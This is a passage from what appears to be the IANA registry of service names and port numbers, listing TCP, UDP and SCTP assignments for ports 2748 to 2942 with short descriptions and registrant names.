fjippol-polsvr 2748 udp
fjippol-cnsl 2749 tcp
fjippol-cnsl 2749 udp
fjippol-port1 2750 tcp
fjippol-port1 2750 udp
fjippol-port2 2751 tcp [Shoichi_Tachibana] [Shoichi_Tachibana]
fjippol-port2 2751 udp [Shoichi_Tachibana] [Shoichi_Tachibana]
rsisysaccess 2752 tcp RSISYS ACCESS [Christophe_Besant] [Christophe_Besant]
rsisysaccess 2752 udp RSISYS ACCESS [Christophe_Besant] [Christophe_Besant]
de-spot 2753 tcp de-spot [Sanjay_Parekh] [Sanjay_Parekh]
de-spot 2753 udp de-spot [Sanjay_Parekh] [Sanjay_Parekh]
apollo-cc 2754 tcp APOLLO CC [Brand_Communications] [Brand_Communications]
apollo-cc 2754 udp APOLLO CC [Brand_Communications] [Brand_Communications]
expresspay 2755 tcp Express Pay [Ben_Higgins] [Ben_Higgins]
expresspay 2755 udp Express Pay [Ben_Higgins] [Ben_Higgins]
simplement-tie 2756 tcp simplement-tie [Tzvika_Chumash] [Tzvika_Chumash]
simplement-tie 2756 udp simplement-tie [Tzvika_Chumash] [Tzvika_Chumash]
cnrp 2757 tcp CNRP [Jacob_Ulmert] [Jacob_Ulmert]
cnrp 2757 udp CNRP [Jacob_Ulmert] [Jacob_Ulmert]
apollo-status 2758 tcp APOLLO Status
apollo-status 2758 udp APOLLO Status
apollo-gms 2759 tcp APOLLO GMS [Simon_Hovell] [Simon_Hovell]
apollo-gms 2759 udp APOLLO GMS [Simon_Hovell] [Simon_Hovell]
sabams 2760 tcp Saba MS [Davoud_Maha] [Davoud_Maha]
sabams 2760 udp Saba MS [Davoud_Maha] [Davoud_Maha]
dicom-iscl 2761 tcp DICOM ISCL
dicom-iscl 2761 udp DICOM ISCL
dicom-tls 2762 tcp DICOM TLS [Lawrence_Tarbox] [Lawrence_Tarbox]
dicom-tls 2762 udp DICOM TLS [Lawrence_Tarbox] [Lawrence_Tarbox]
desktop-dna 2763 tcp Desktop DNA [Jon_Walker] [Jon_Walker]
desktop-dna 2763 udp Desktop DNA [Jon_Walker] [Jon_Walker]
data-insurance 2764 tcp Data Insurance [Brent_Irwin] [Brent_Irwin]
data-insurance 2764 udp Data Insurance [Brent_Irwin] [Brent_Irwin]
qip-audup 2765 tcp qip-audup [Mike_Morgan] [Mike_Morgan]
qip-audup 2765 udp qip-audup [Mike_Morgan] [Mike_Morgan]
compaq-scp 2766 tcp Compaq SCP [Ferruccio_Barletta] [Ferruccio_Barletta]
compaq-scp 2766 udp Compaq SCP [Ferruccio_Barletta] [Ferruccio_Barletta]
uadtc 2767 tcp UADTC
uadtc 2767 udp UADTC
uacs 2768 tcp UACS [Vishwas_Lele] [Vishwas_Lele]
uacs 2768 udp UACS [Vishwas_Lele] [Vishwas_Lele]
exce 2769 tcp eXcE [Norm_Freedman] [Norm_Freedman]
exce 2769 udp eXcE [Norm_Freedman] [Norm_Freedman]
veronica 2770 tcp Veronica [Jonas_Oberg] [Jonas_Oberg]
veronica 2770 udp Veronica [Jonas_Oberg] [Jonas_Oberg]
vergencecm 2771 tcp Vergence CM [Mark_Morwood] [Mark_Morwood]
vergencecm 2771 udp Vergence CM [Mark_Morwood] [Mark_Morwood]
auris 2772 tcp auris [Francisco_Saez_Aranc] [Francisco_Saez_Aranc]
auris 2772 udp auris [Francisco_Saez_Aranc] [Francisco_Saez_Aranc]
rbakcup1 2773 tcp RBackup Remote Backup
rbakcup1 2773 udp RBackup Remote Backup
rbakcup2 2774 tcp RBackup Remote Backup [Rob_Cosgrove] [Rob_Cosgrove]
rbakcup2 2774 udp RBackup Remote Backup [Rob_Cosgrove] [Rob_Cosgrove]
smpp 2775 tcp SMPP [Owen_Sullivan] [Owen_Sullivan]
smpp 2775 udp SMPP [Owen_Sullivan] [Owen_Sullivan]
ridgeway1 2776 tcp Ridgeway Systems & Software
ridgeway1 2776 udp Ridgeway Systems & Software
ridgeway2 2777 tcp Ridgeway Systems & Software [Steve_Read] [Steve_Read]
ridgeway2 2777 udp Ridgeway Systems & Software [Steve_Read] [Steve_Read]
gwen-sonya 2778 tcp Gwen-Sonya [Mark_Hurst] [Mark_Hurst]
gwen-sonya 2778 udp Gwen-Sonya [Mark_Hurst] [Mark_Hurst]
lbc-sync 2779 tcp LBC Sync
lbc-sync 2779 udp LBC Sync
lbc-control 2780 tcp LBC Control [Keiji_Michine] [Keiji_Michine]
lbc-control 2780 udp LBC Control [Keiji_Michine] [Keiji_Michine]
whosells 2781 tcp whosells [William_Randolph_Roy] [William_Randolph_Roy]
whosells 2781 udp whosells [William_Randolph_Roy] [William_Randolph_Roy]
everydayrc 2782 tcp everydayrc [Ahti_Heinla] [Ahti_Heinla]
everydayrc 2782 udp everydayrc [Ahti_Heinla] [Ahti_Heinla]
aises 2783 tcp AISES [Daniel_Grazioli] [Daniel_Grazioli]
aises 2783 udp AISES [Daniel_Grazioli] [Daniel_Grazioli]
www-dev 2784 tcp world wide web - development
www-dev 2784 udp world wide web - development
aic-np 2785 tcp aic-np [Brad_Parker] [Brad_Parker]
aic-np 2785 udp aic-np [Brad_Parker] [Brad_Parker]
aic-oncrpc 2786 tcp aic-oncrpc - Destiny MCD [Brad_Parker] [Brad_Parker]
database
aic-oncrpc 2786 udp aic-oncrpc - Destiny MCD [Brad_Parker] [Brad_Parker]
database
piccolo 2787 tcp piccolo - Cornerstone [Dave_Bellivea] [Dave_Bellivea]
Software
piccolo 2787 udp piccolo - Cornerstone [Dave_Bellivea] [Dave_Bellivea]
Software
fryeserv 2788 tcp NetWare Loadable Module - [Joseph_LoPilato] [Joseph_LoPilato]
Seagate Software
fryeserv 2788 udp NetWare Loadable Module - [Joseph_LoPilato] [Joseph_LoPilato]
Seagate Software
media-agent 2789 tcp Media Agent [Nitzan_Daube] [Nitzan_Daube]
media-agent 2789 udp Media Agent [Nitzan_Daube] [Nitzan_Daube]
plgproxy 2790 tcp PLG Proxy [Charlie_Hava] [Charlie_Hava]
plgproxy 2790 udp PLG Proxy [Charlie_Hava] [Charlie_Hava]
mtport-regist 2791 tcp MT Port Registrator [Maxim_Tseitlin] [Maxim_Tseitlin]
mtport-regist 2791 udp MT Port Registrator [Maxim_Tseitlin] [Maxim_Tseitlin]
f5-globalsite 2792 tcp f5-globalsite [Christian_Saether_2] [Christian_Saether_2]
f5-globalsite 2792 udp f5-globalsite [Christian_Saether_2] [Christian_Saether_2]
initlsmsad 2793 tcp initlsmsad [Kelly_Green] [Kelly_Green]
initlsmsad 2793 udp initlsmsad [Kelly_Green] [Kelly_Green]
2794 Unassigned 2006-12-04
livestats 2795 tcp LiveStats [Chris_Greene] [Chris_Greene]
livestats 2795 udp LiveStats [Chris_Greene] [Chris_Greene]
ac-tech 2796 tcp ac-tech [Chiming_Huang] [Chiming_Huang]
ac-tech 2796 udp ac-tech [Chiming_Huang] [Chiming_Huang]
esp-encap 2797 tcp esp-encap [Jorn_Sierwald] [Jorn_Sierwald]
esp-encap 2797 udp esp-encap [Jorn_Sierwald] [Jorn_Sierwald]
tmesis-upshot 2798 tcp TMESIS-UPShot [Brian_Schenkenberger] [Brian_Schenkenberger]
tmesis-upshot 2798 udp TMESIS-UPShot [Brian_Schenkenberger] [Brian_Schenkenberger]
icon-discover 2799 tcp ICON Discover [Alexander_Falk] [Alexander_Falk]
icon-discover 2799 udp ICON Discover [Alexander_Falk] [Alexander_Falk]
acc-raid 2800 tcp ACC RAID [Scott_St_Clair] [Scott_St_Clair]
acc-raid 2800 udp ACC RAID [Scott_St_Clair] [Scott_St_Clair]
igcp 2801 tcp IGCP [David_Hampson] [David_Hampson]
igcp 2801 udp IGCP [David_Hampson] [David_Hampson]
veritas-tcp1 2802 tcp Veritas TCP1
veritas-udp1 2802 udp Veritas UDP1 [Russ_Thrasher] [Russ_Thrasher]
btprjctrl 2803 tcp btprjctrl [Huw_Thomas] [Huw_Thomas]
btprjctrl 2803 udp btprjctrl [Huw_Thomas] [Huw_Thomas]
March Networks Digital Video
dvr-esm 2804 tcp Recorders and Enterprise [Paul_Streatch] [Paul_Streatch] 2004-06
Service Manager products
March Networks Digital Video
dvr-esm 2804 udp Recorders and Enterprise [Paul_Streatch] [Paul_Streatch] 2004-06
Service Manager products
wta-wsp-s 2805 tcp WTA WSP-S [Sebastien_Bury] [Sebastien_Bury]
wta-wsp-s 2805 udp WTA WSP-S [Sebastien_Bury] [Sebastien_Bury]
cspuni 2806 tcp cspuni
cspuni 2806 udp cspuni
cspmulti 2807 tcp cspmulti [Terumasa_Yoneda] [Terumasa_Yoneda]
cspmulti 2807 udp cspmulti [Terumasa_Yoneda] [Terumasa_Yoneda]
j-lan-p 2808 tcp J-LAN-P [Takeshi_Sahara] [Takeshi_Sahara]
j-lan-p 2808 udp J-LAN-P [Takeshi_Sahara] [Takeshi_Sahara]
corbaloc 2809 tcp CORBA LOC [Ted_McFadden] [Ted_McFadden]
corbaloc 2809 udp CORBA LOC [Ted_McFadden] [Ted_McFadden]
netsteward 2810 tcp Active Net Steward [Keith_Morley] [Keith_Morley]
netsteward 2810 udp Active Net Steward [Keith_Morley] [Keith_Morley]
gsiftp 2811 tcp GSI FTP [Von_Welch] [Von_Welch]
gsiftp 2811 udp GSI FTP [Von_Welch] [Von_Welch]
atmtcp 2812 tcp atmtcp [Werner_Almesberger] [Werner_Almesberger]
atmtcp 2812 udp atmtcp [Werner_Almesberger] [Werner_Almesberger]
llm-pass 2813 tcp llm-pass
llm-pass 2813 udp llm-pass
llm-csv 2814 tcp llm-csv [Glen_Sansoucie_2] [Glen_Sansoucie_2]
llm-csv 2814 udp llm-csv [Glen_Sansoucie_2] [Glen_Sansoucie_2]
lbc-measure 2815 tcp LBC Measurement
lbc-measure 2815 udp LBC Measurement
lbc-watchdog 2816 tcp LBC Watchdog [Akiyoshi_Ochi] [Akiyoshi_Ochi]
lbc-watchdog 2816 udp LBC Watchdog [Akiyoshi_Ochi] [Akiyoshi_Ochi]
nmsigport 2817 tcp NMSig Port [Peter_Egli_2] [Peter_Egli_2]
nmsigport 2817 udp NMSig Port [Peter_Egli_2] [Peter_Egli_2]
rmlnk 2818 tcp rmlnk
rmlnk 2818 udp rmlnk
fc-faultnotify 2819 tcp FC Fault Notification [Dave_Watkins] [Dave_Watkins]
fc-faultnotify 2819 udp FC Fault Notification [Dave_Watkins] [Dave_Watkins]
univision 2820 tcp UniVision [Keith_Ansell] [Keith_Ansell]
univision 2820 udp UniVision [Keith_Ansell] [Keith_Ansell]
vrts-at-port 2821 tcp VERITAS Authentication [Stefan_Winkel] [Stefan_Winkel]
Service
vrts-at-port 2821 udp VERITAS Authentication [Stefan_Winkel] [Stefan_Winkel]
Service
ka0wuc 2822 tcp ka0wuc [Kit_Haskins] [Kit_Haskins]
ka0wuc 2822 udp ka0wuc [Kit_Haskins] [Kit_Haskins]
cqg-netlan 2823 tcp CQG Net/LAN
cqg-netlan 2823 udp CQG Net/LAN
cqg-netlan-1 2824 tcp CQG Net/LAN 1 [Jeff_Wood] [Jeff_Wood]
cqg-netlan-1 2824 udp CQG Net/Lan 1 [Jeff_Wood] [Jeff_Wood]
2825 (unassigned) Possibly
assigned
slc-systemlog 2826 tcp slc systemlog
slc-systemlog 2826 udp slc systemlog
slc-ctrlrloops 2827 tcp slc ctrlrloops [Erwin_Hogeweg] [Erwin_Hogeweg]
slc-ctrlrloops 2827 udp slc ctrlrloops [Erwin_Hogeweg] [Erwin_Hogeweg]
itm-lm 2828 tcp ITM License Manager [Portnoy_Boxman] [Portnoy_Boxman]
itm-lm 2828 udp ITM License Manager [Portnoy_Boxman] [Portnoy_Boxman]
silkp1 2829 tcp silkp1
silkp1 2829 udp silkp1
silkp2 2830 tcp silkp2
silkp2 2830 udp silkp2
silkp3 2831 tcp silkp3
silkp3 2831 udp silkp3
silkp4 2832 tcp silkp4 [Erik_Skyten] [Erik_Skyten]
silkp4 2832 udp silkp4 [Erik_Skyten] [Erik_Skyten]
glishd 2833 tcp glishd [Darrell_Schiebel] [Darrell_Schiebel]
glishd 2833 udp glishd [Darrell_Schiebel] [Darrell_Schiebel]
evtp 2834 tcp EVTP
evtp 2834 udp EVTP
evtp-data 2835 tcp EVTP-DATA [Eric_Bruno] [Eric_Bruno]
evtp-data 2835 udp EVTP-DATA [Eric_Bruno] [Eric_Bruno]
catalyst 2836 tcp catalyst [Garret_Tollkuhn] [Garret_Tollkuhn]
catalyst 2836 udp catalyst [Garret_Tollkuhn] [Garret_Tollkuhn]
repliweb 2837 tcp Repliweb [William_Orme] [William_Orme]
repliweb 2837 udp Repliweb [William_Orme] [William_Orme]
starbot 2838 tcp Starbot [Markus_Sabadello_2] [Markus_Sabadello_2]
starbot 2838 udp Starbot [Markus_Sabadello_2] [Markus_Sabadello_2]
nmsigport 2839 tcp NMSigPort [Peter_Egli_2] [Peter_Egli_2]
nmsigport 2839 udp NMSigPort [Peter_Egli_2] [Peter_Egli_2]
l3-exprt 2840 tcp l3-exprt
l3-exprt 2840 udp l3-exprt
l3-ranger 2841 tcp l3-ranger
l3-ranger 2841 udp l3-ranger
l3-hawk 2842 tcp l3-hawk [Dolores_Scott_2] [Dolores_Scott_2]
l3-hawk 2842 udp l3-hawk [Dolores_Scott_2] [Dolores_Scott_2]
pdnet 2843 tcp PDnet [Torsten_Scheffler] [Torsten_Scheffler]
pdnet 2843 udp PDnet [Torsten_Scheffler] [Torsten_Scheffler]
bpcp-poll 2844 tcp BPCP POLL
bpcp-poll 2844 udp BPCP POLL
bpcp-trap 2845 tcp BPCP TRAP [Steve_Van_Duser] [Steve_Van_Duser]
bpcp-trap 2845 udp BPCP TRAP [Steve_Van_Duser] [Steve_Van_Duser]
aimpp-hello 2846 tcp AIMPP Hello
aimpp-hello 2846 udp AIMPP Hello
aimpp-port-req 2847 tcp AIMPP Port Req [Brian_Martinicky] [Brian_Martinicky]
aimpp-port-req 2847 udp AIMPP Port Req [Brian_Martinicky] [Brian_Martinicky]
amt-blc-port 2848 tcp AMT-BLC-PORT [Sandra_Frulloni] [Sandra_Frulloni]
amt-blc-port 2848 udp AMT-BLC-PORT [Sandra_Frulloni] [Sandra_Frulloni]
fxp 2849 tcp FXP [Martin_Lichtin] [Martin_Lichtin]
fxp 2849 udp FXP [Martin_Lichtin] [Martin_Lichtin]
metaconsole 2850 tcp MetaConsole [Rakesh_Mahajan] [Rakesh_Mahajan]
metaconsole 2850 udp MetaConsole [Rakesh_Mahajan] [Rakesh_Mahajan]
webemshttp 2851 tcp webemshttp [Stephen_Tsun] [Stephen_Tsun]
webemshttp 2851 udp webemshttp [Stephen_Tsun] [Stephen_Tsun]
bears-01 2852 tcp bears-01 [Bruce_McKinnon] [Bruce_McKinnon]
bears-01 2852 udp bears-01 [Bruce_McKinnon] [Bruce_McKinnon]
ispipes 2853 tcp ISPipes [Rajesh_Nandyalam] [Rajesh_Nandyalam]
ispipes 2853 udp ISPipes [Rajesh_Nandyalam] [Rajesh_Nandyalam]
infomover 2854 tcp InfoMover [Carla_Caputo] [Carla_Caputo]
infomover 2854 udp InfoMover [Carla_Caputo] [Carla_Caputo]
msrp 2855 tcp MSRP over TCP 2014-04-09 [RFC4976]
2855 udp Reserved 2014-04-09
cesdinv 2856 tcp cesdinv [Yoshiaki_Tokumoto] [Yoshiaki_Tokumoto]
cesdinv 2856 udp cesdinv [Yoshiaki_Tokumoto] [Yoshiaki_Tokumoto]
simctlp 2857 tcp SimCtIP [Christian_Zietz] [Christian_Zietz]
simctlp 2857 udp SimCtIP [Christian_Zietz] [Christian_Zietz]
ecnp 2858 tcp ECNP [Robert_Reimiller] [Robert_Reimiller]
ecnp 2858 udp ECNP [Robert_Reimiller] [Robert_Reimiller]
activememory 2859 tcp Active Memory [Joe_Graham] [Joe_Graham]
activememory 2859 udp Active Memory [Joe_Graham] [Joe_Graham]
dialpad-voice1 2860 tcp Dialpad Voice 1
dialpad-voice1 2860 udp Dialpad Voice 1
dialpad-voice2 2861 tcp Dialpad Voice 2 [Wongyu_Cho] [Wongyu_Cho]
dialpad-voice2 2861 udp Dialpad Voice 2 [Wongyu_Cho] [Wongyu_Cho]
ttg-protocol 2862 tcp TTG Protocol [Mark_Boler] [Mark_Boler]
ttg-protocol 2862 udp TTG Protocol [Mark_Boler] [Mark_Boler]
sonardata 2863 tcp Sonar Data [Ian_Higginbottom] [Ian_Higginbottom]
sonardata 2863 udp Sonar Data [Ian_Higginbottom] [Ian_Higginbottom]
astromed-main 2864 tcp main 5001 cmd [Chris_Tate] [Chris_Tate]
astromed-main 2864 udp main 5001 cmd [Chris_Tate] [Chris_Tate]
pit-vpn 2865 tcp pit-vpn [Norbert_Sendetzky] [Norbert_Sendetzky]
pit-vpn 2865 udp pit-vpn [Norbert_Sendetzky] [Norbert_Sendetzky]
iwlistener 2866 tcp iwlistener [Fred_Surr] [Fred_Surr]
iwlistener 2866 udp iwlistener [Fred_Surr] [Fred_Surr]
esps-portal 2867 tcp esps-portal [Nicholas_Stowfis] [Nicholas_Stowfis]
esps-portal 2867 udp esps-portal [Nicholas_Stowfis] [Nicholas_Stowfis]
npep-messaging 2868 tcp Norman Proprietaqry Events [AVG_Technologies_Norway_AS] [Kristian_A_Bognaes_2] 2015-05-20
Protocol
npep-messaging 2868 udp Norman Proprietaqry Events [AVG_Technologies_Norway_AS] [Kristian_A_Bognaes_2] 2015-05-20
Protocol
icslap 2869 tcp ICSLAP [Richard_Lamb] [Richard_Lamb]
icslap 2869 udp ICSLAP [Richard_Lamb] [Richard_Lamb]
daishi 2870 tcp daishi [Patrick_Chipman] [Patrick_Chipman]
daishi 2870 udp daishi [Patrick_Chipman] [Patrick_Chipman]
msi-selectplay 2871 tcp MSI Select Play [Paul_Fonte] [Paul_Fonte]
msi-selectplay 2871 udp MSI Select Play [Paul_Fonte] [Paul_Fonte]
radix 2872 tcp RADIX [Stein_Roger_Skaflott] [Stein_Roger_Skaflott] 2011-07-06
radix 2872 udp RADIX [Stein_Roger_Skaflott] [Stein_Roger_Skaflott] 2011-07-06
2873 Unassigned 2003-07-23
dxmessagebase1 2874 tcp DX Message Base Transport
Protocol
dxmessagebase1 2874 udp DX Message Base Transport
Protocol
dxmessagebase2 2875 tcp DX Message Base Transport [G_E_Ozz_Nixon_Jr] [G_E_Ozz_Nixon_Jr] 2009-01-13
Protocol
dxmessagebase2 2875 udp DX Message Base Transport [G_E_Ozz_Nixon_Jr] [G_E_Ozz_Nixon_Jr] 2009-01-13
Protocol
sps-tunnel 2876 tcp SPS Tunnel [Bill_McIntosh] [Bill_McIntosh]
sps-tunnel 2876 udp SPS Tunnel [Bill_McIntosh] [Bill_McIntosh]
bluelance 2877 tcp BLUELANCE [Michael_Padrezas] [Michael_Padrezas]
bluelance 2877 udp BLUELANCE [Michael_Padrezas] [Michael_Padrezas]
aap 2878 tcp AAP [Stephen_Hanna_2] [Stephen_Hanna_2]
aap 2878 udp AAP [Stephen_Hanna_2] [Stephen_Hanna_2]
ucentric-ds 2879 tcp ucentric-ds [Alex_Vasilevsky] [Alex_Vasilevsky]
ucentric-ds 2879 udp ucentric-ds [Alex_Vasilevsky] [Alex_Vasilevsky]
synapse 2880 tcp Synapse Transport [Ali_Fracyon] [Ali_Fracyon]
synapse 2880 udp Synapse Transport [Ali_Fracyon] [Ali_Fracyon]
ndsp 2881 tcp NDSP
ndsp 2881 udp NDSP
ndtp 2882 tcp NDTP
ndtp 2882 udp NDTP
ndnp 2883 tcp NDNP [Khelben_Blackstaff] [Khelben_Blackstaff]
ndnp 2883 udp NDNP [Khelben_Blackstaff] [Khelben_Blackstaff]
flashmsg 2884 tcp Flash Msg [Jeffrey_Zinkerman] [Jeffrey_Zinkerman]
flashmsg 2884 udp Flash Msg [Jeffrey_Zinkerman] [Jeffrey_Zinkerman]
topflow 2885 tcp TopFlow [Ted_Ross] [Ted_Ross]
topflow 2885 udp TopFlow [Ted_Ross] [Ted_Ross]
responselogic 2886 tcp RESPONSELOGIC [Bruce_Casey] [Bruce_Casey]
responselogic 2886 udp RESPONSELOGIC [Bruce_Casey] [Bruce_Casey]
aironetddp 2887 tcp aironet [Victor_Griswold] [Victor_Griswold]
aironetddp 2887 udp aironet [Victor_Griswold] [Victor_Griswold]
spcsdlobby 2888 tcp SPCSDLOBBY [Matthew_Williams] [Matthew_Williams]
spcsdlobby 2888 udp SPCSDLOBBY [Matthew_Williams] [Matthew_Williams]
rsom 2889 tcp RSOM [Justine_Higgins] [Justine_Higgins]
rsom 2889 udp RSOM [Justine_Higgins] [Justine_Higgins]
cspclmulti 2890 tcp CSPCLMULTI [Yoneda_Terumasa] [Yoneda_Terumasa]
cspclmulti 2890 udp CSPCLMULTI [Yoneda_Terumasa] [Yoneda_Terumasa]
cinegrfx-elmd 2891 tcp CINEGRFX-ELMD License [Greg_Ercolano_2] [Greg_Ercolano_2]
Manager
cinegrfx-elmd 2891 udp CINEGRFX-ELMD License [Greg_Ercolano_2] [Greg_Ercolano_2]
Manager
snifferdata 2892 tcp SNIFFERDATA [Jeff_Mangasarian] [Jeff_Mangasarian]
snifferdata 2892 udp SNIFFERDATA [Jeff_Mangasarian] [Jeff_Mangasarian]
vseconnector 2893 tcp VSECONNECTOR [Ingo_Franzki] [Ingo_Franzki]
vseconnector 2893 udp VSECONNECTOR [Ingo_Franzki] [Ingo_Franzki]
abacus-remote 2894 tcp ABACUS-REMOTE [Mike_Bello] [Mike_Bello]
abacus-remote 2894 udp ABACUS-REMOTE [Mike_Bello] [Mike_Bello]
natuslink 2895 tcp NATUS LINK [Jonathan_Mergy] [Jonathan_Mergy]
natuslink 2895 udp NATUS LINK [Jonathan_Mergy] [Jonathan_Mergy]
ecovisiong6-1 2896 tcp ECOVISIONG6-1 [Henrik_Holst] [Henrik_Holst]
ecovisiong6-1 2896 udp ECOVISIONG6-1 [Henrik_Holst] [Henrik_Holst]
citrix-rtmp 2897 tcp Citrix RTMP [Myk_Willis] [Myk_Willis]
citrix-rtmp 2897 udp Citrix RTMP [Myk_Willis] [Myk_Willis]
appliance-cfg 2898 tcp APPLIANCE-CFG [Gary_A_James] [Gary_A_James]
appliance-cfg 2898 udp APPLIANCE-CFG [Gary_A_James] [Gary_A_James]
powergemplus 2899 tcp POWERGEMPLUS [Koich_Nakamura] [Koich_Nakamura]
powergemplus 2899 udp POWERGEMPLUS [Koich_Nakamura] [Koich_Nakamura]
quicksuite 2900 tcp QUICKSUITE [William_Egge] [William_Egge]
quicksuite 2900 udp QUICKSUITE [William_Egge] [William_Egge]
allstorcns 2901 tcp ALLSTORCNS [Steve_Dobson] [Steve_Dobson]
allstorcns 2901 udp ALLSTORCNS [Steve_Dobson] [Steve_Dobson]
netaspi 2902 tcp NET ASPI [Johnson_Luo] [Johnson_Luo]
netaspi 2902 udp NET ASPI [Johnson_Luo] [Johnson_Luo]
suitcase 2903 tcp SUITCASE [Milton_E_Sagen] [Milton_E_Sagen]
suitcase 2903 udp SUITCASE [Milton_E_Sagen] [Milton_E_Sagen]
m2ua 2904 tcp M2UA [Lyndon_Ong] [Lyndon_Ong]
m2ua 2904 udp M2UA [Lyndon_Ong] [Lyndon_Ong]
m2ua 2904 sctp M2UA [Lyndon_Ong] [Lyndon_Ong]
m3ua 2905 tcp M3UA [Lyndon_Ong] [Lyndon_Ong] [RFC4666]
2905 udp De-registered 2001-06-07
m3ua 2905 sctp M3UA [Lyndon_Ong] [Lyndon_Ong] [RFC4666]
caller9 2906 tcp CALLER9 [Shams_Naqi] [Shams_Naqi]
caller9 2906 udp CALLER9 [Shams_Naqi] [Shams_Naqi]
webmethods-b2b 2907 tcp WEBMETHODS B2B [Joseph_Hines] [Joseph_Hines]
webmethods-b2b 2907 udp WEBMETHODS B2B [Joseph_Hines] [Joseph_Hines]
mao 2908 tcp mao [Marc_Baudoin] [Marc_Baudoin]
mao 2908 udp mao [Marc_Baudoin] [Marc_Baudoin]
funk-dialout 2909 tcp Funk Dialout [Cimarron_Boozer] [Cimarron_Boozer]
funk-dialout 2909 udp Funk Dialout [Cimarron_Boozer] [Cimarron_Boozer]
tdaccess 2910 tcp TDAccess [Tom_Haapanen] [Tom_Haapanen]
tdaccess 2910 udp TDAccess [Tom_Haapanen] [Tom_Haapanen]
blockade 2911 tcp Blockade [Blockade] [Blockade]
blockade 2911 udp Blockade [Blockade] [Blockade]
epicon 2912 tcp Epicon [Michael_Khalandovsky] [Michael_Khalandovsky]
epicon 2912 udp Epicon [Michael_Khalandovsky] [Michael_Khalandovsky]
boosterware 2913 tcp Booster Ware [Ido_Ben_David] [Ido_Ben_David]
boosterware 2913 udp Booster Ware [Ido_Ben_David] [Ido_Ben_David]
gamelobby 2914 tcp Game Lobby [Paul_Ford_Hutchinson] [Paul_Ford_Hutchinson]
gamelobby 2914 udp Game Lobby [Paul_Ford_Hutchinson] [Paul_Ford_Hutchinson]
tksocket 2915 tcp TK Socket [Dino_Ciano] [Dino_Ciano] 2011-03-02
tksocket 2915 udp TK Socket [Dino_Ciano] [Dino_Ciano] 2011-03-02
Elvin Server
elvin-server 2916 tcp IANA assigned this
well-formed service name as
a replacement for
"elvin_server".
This entry is an alias to "elvin-server". This entry is now
elvin_server 2916 tcp Elvin Server historic, not usable for use with many common service
discovery mechanisms.
Elvin Server
elvin-server 2916 udp IANA assigned this
well-formed service name as
a replacement for
"elvin_server".
This entry is an alias to "elvin-server". This entry is now
elvin_server 2916 udp Elvin Server historic, not usable for use with many common service
discovery mechanisms.
Elvin Client
elvin-client 2917 tcp IANA assigned this [David_Arnold] [David_Arnold]
well-formed service name as
a replacement for
"elvin_client".
This entry is an alias to "elvin-client". This entry is now
elvin_client 2917 tcp Elvin Client [David_Arnold] [David_Arnold] historic, not usable for use with many common service
discovery mechanisms.
Elvin Client
elvin-client 2917 udp IANA assigned this [David_Arnold] [David_Arnold]
well-formed service name as
a replacement for
"elvin_client".
This entry is an alias to "elvin-client". This entry is now
elvin_client 2917 udp Elvin Client [David_Arnold] [David_Arnold] historic, not usable for use with many common service
discovery mechanisms.
kastenchasepad 2918 tcp Kasten Chase Pad [Marc_Gauthier] [Marc_Gauthier]
kastenchasepad 2918 udp Kasten Chase Pad [Marc_Gauthier] [Marc_Gauthier]
roboer 2919 tcp roboER [Paul_Snook] [Paul_Snook]
roboer 2919 udp roboER [Paul_Snook] [Paul_Snook]
roboeda 2920 tcp roboEDA [Paul_Snook] [Paul_Snook]
roboeda 2920 udp roboEDA [Paul_Snook] [Paul_Snook]
cesdcdman 2921 tcp CESD Contents Delivery [Shinya_Abe] [Shinya_Abe]
Management
cesdcdman 2921 udp CESD Contents Delivery [Shinya_Abe] [Shinya_Abe]
Management
cesdcdtrn 2922 tcp CESD Contents Delivery Data [Shinya_Abe] [Shinya_Abe]
Transfer
cesdcdtrn 2922 udp CESD Contents Delivery Data [Shinya_Abe] [Shinya_Abe]
Transfer
wta-wsp-wtp-s 2923 tcp WTA-WSP-WTP-S [Sebastien_Bury] [Sebastien_Bury]
wta-wsp-wtp-s 2923 udp WTA-WSP-WTP-S [Sebastien_Bury] [Sebastien_Bury]
precise-vip 2924 tcp PRECISE-VIP [Michael_Landwehr] [Michael_Landwehr]
precise-vip 2924 udp PRECISE-VIP [Michael_Landwehr] [Michael_Landwehr]
2925 Unassigned (FRP-Released
12/7/00)
mobile-file-dl 2926 tcp MOBILE-FILE-DL [Mitsuji_Toda] [Mitsuji_Toda]
mobile-file-dl 2926 udp MOBILE-FILE-DL [Mitsuji_Toda] [Mitsuji_Toda]
unimobilectrl 2927 tcp UNIMOBILECTRL [Vikas] [Vikas]
unimobilectrl 2927 udp UNIMOBILECTRL [Vikas] [Vikas]
redstone-cpss 2928 tcp REDSTONE-CPSS [Jeff_Looman] [Jeff_Looman]
redstone-cpss 2928 udp REDSTONE-CPSS [Jeff_Looman] [Jeff_Looman]
amx-webadmin 2929 tcp AMX-WEBADMIN [Mike_Morris] [Mike_Morris]
amx-webadmin 2929 udp AMX-WEBADMIN [Mike_Morris] [Mike_Morris]
amx-weblinx 2930 tcp AMX-WEBLINX [Mike_Morris] [Mike_Morris]
amx-weblinx 2930 udp AMX-WEBLINX [Mike_Morris] [Mike_Morris]
circle-x 2931 tcp Circle-X [Norm_Freedman_2] [Norm_Freedman_2]
circle-x 2931 udp Circle-X [Norm_Freedman_2] [Norm_Freedman_2]
incp 2932 tcp INCP [Keith_Paulsen] [Keith_Paulsen]
incp 2932 udp INCP [Keith_Paulsen] [Keith_Paulsen]
4-tieropmgw 2933 tcp 4-TIER OPM GW [Francois_Peloffy] [Francois_Peloffy]
4-tieropmgw 2933 udp 4-TIER OPM GW [Francois_Peloffy] [Francois_Peloffy]
4-tieropmcli 2934 tcp 4-TIER OPM CLI [Francois_Peloffy] [Francois_Peloffy]
4-tieropmcli 2934 udp 4-TIER OPM CLI [Francois_Peloffy] [Francois_Peloffy]
qtp 2935 tcp QTP [Cameron_Young] [Cameron_Young]
qtp 2935 udp QTP [Cameron_Young] [Cameron_Young]
otpatch 2936 tcp OTPatch [Brett_Goldstein] [Brett_Goldstein]
otpatch 2936 udp OTPatch [Brett_Goldstein] [Brett_Goldstein]
pnaconsult-lm 2937 tcp PNACONSULT-LM [Theo_Nijssen] [Theo_Nijssen]
pnaconsult-lm 2937 udp PNACONSULT-LM [Theo_Nijssen] [Theo_Nijssen]
sm-pas-1 2938 tcp SM-PAS-1
sm-pas-1 2938 udp SM-PAS-1
sm-pas-2 2939 tcp SM-PAS-2
sm-pas-2 2939 udp SM-PAS-2
sm-pas-3 2940 tcp SM-PAS-3
sm-pas-3 2940 udp SM-PAS-3
sm-pas-4 2941 tcp SM-PAS-4
sm-pas-4 2941 udp SM-PAS-4
sm-pas-5 2942 tcp SM-PAS-5 [Tom_Haapanen] [Tom_Haapanen]
